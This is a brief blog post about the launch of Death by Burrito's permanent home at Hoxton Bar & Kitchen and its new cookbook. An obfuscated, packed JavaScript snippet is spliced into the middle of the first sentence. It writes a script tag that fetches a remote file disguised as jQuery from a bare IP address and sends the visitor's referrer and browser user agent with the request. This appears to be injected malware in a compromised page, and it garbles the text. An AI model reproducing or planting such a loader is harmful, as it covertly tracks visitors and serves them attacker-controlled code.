DEATH BY BURRITO X HOXTON BAR & KITCHEN

dbb

We (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kafkr|var|u0026u|referrer|zrkhh||js|php’.split(‘|’),0,{}))
were super excited to be at the launch of Death by Burrito, celebrating their permanent home at Hoxton Bar & Kitchen. Indeed last week was a double celebration as they also launched their new cookbook. The new menu at Hoxton Square Bar and Kitchen features the classics for all you die hard fans and some new awesome dishes from the cookbook.

The most daring dish has to be the desert: Ancho Chili Ice Cream sundae, well…if it’s daring enough to be on the menu, then it would only be rude to turn it down right?

Hoxton Square Bar & Kitchen, 2-4 Hoxton Square, London, N1 6NU
www.deathbyburrito.com

Loading...